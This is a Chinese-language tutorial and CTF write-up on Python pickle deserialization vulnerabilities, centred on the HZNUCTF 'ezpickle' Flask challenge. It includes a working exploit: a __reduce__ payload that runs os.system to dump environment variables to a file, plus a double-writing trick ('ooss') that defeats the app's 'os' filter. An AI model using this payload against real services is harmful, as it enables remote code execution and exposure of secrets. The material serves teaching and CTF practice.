pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
函数 | 功能 |
---|---|
dumps | 对象序列化为二进制字符串 |
dump | 对象序列化为文件对象 |
loads | 二进制字符串反序列化为对象 |
load | 从文件读取数据反序列化为对象 |
demo
# 序列化
import pickle
import base64
class demo():
def __init__(self):
self.name="demo"
t=demo()
print(base64.b64encode(pickle.dumps(t)))
# 反序列化
import pickle
import base64
class demo():
def __init__(self):
self.name="demo"
data=base64.b64decode("gASVJQAAAAAAAACMCF9fbWFpbl9flIwEZGVtb5STlCmBlH2UjARuYW1llGgBc2Iu")
t=pickle.loads(data)
print(t.name)
pickle反序列化漏洞产生于__reduce__
方法,类似于php的__wakeup
当__reduce__
方法返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。
demo
class exp:
def __reduce__(self):
return eval, ("__import__('os').system('env > 1.txt')",)
例题
HZNUCTF ezpickle
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
可以看到明显的反序列化标志,os替换为空可以双写绕过
无回显,且不出网,将输出写到文件,通过readFile路由读取
exp
from pickle import *
from base64 import *
class exp:
def __reduce__(self):
return eval, ("__import__('os').system('env > 1.txt')",)
t = exp()
print(b64encode(dumps(t).replace(b'os', b'ooss')))